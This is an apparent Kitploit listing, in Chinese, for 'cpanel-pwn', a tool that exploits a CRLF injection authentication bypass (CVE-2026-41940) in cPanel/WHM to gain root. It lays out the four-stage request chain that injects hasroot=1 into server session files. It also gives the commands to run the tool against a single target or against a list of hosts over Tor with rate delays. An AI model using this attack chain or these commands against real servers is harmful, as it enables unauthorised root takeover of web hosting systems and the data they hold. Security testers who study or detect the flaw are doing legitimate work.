cpanel-pwn — cPanel/WHM CVE-2026-41940 CRLF 注入认证绕过漏洞利用工具 | Kitploit

cpanel-pwn

cPanel/WHM 安全测试工具包。实现了 CVE-2026-41940 CRLF 注入认证绕过及后渗透权限提升。

工具

脚本	用途
`cpanel_exploit.py`	CVE-2026-41940：CRLF 注入 → WHM 认证绕过 → root 访问

CVE-2026-41940

类型： CRLF 注入 → 认证绕过 → Root RCE
影响范围： cPanel/WHM < 已修补版本
攻击方式： Basic Auth 头中的预认证 CRLF 注入将 hasroot=1 注入服务端会话文件，将未认证会话提升为 WHM root。

阶段 1：POST /login/?login_only=1          → 生成预认证会话
阶段 2：GET / Authorization:Basic <CRLF>   → 注入 hasroot=1，泄露 cpsess 令牌
阶段 3：GET /scripts2/listaccts            → 触发会话缓存传播小工具
阶段 4：GET /cpsess[TOKEN]/json-api/version → HTTP 200 + 版本 = ROOT 访问

pip install requests
python cpanel_exploit.py -t target.com
python cpanel_exploit.py -l whm_hosts.txt --tor --delay 2
python cpanel_exploit.py -t target.com --verify-only   # 仅 CRLF 检查，不进行权限提升

cpanel-pwn

最受欢迎

使用方法

授权声明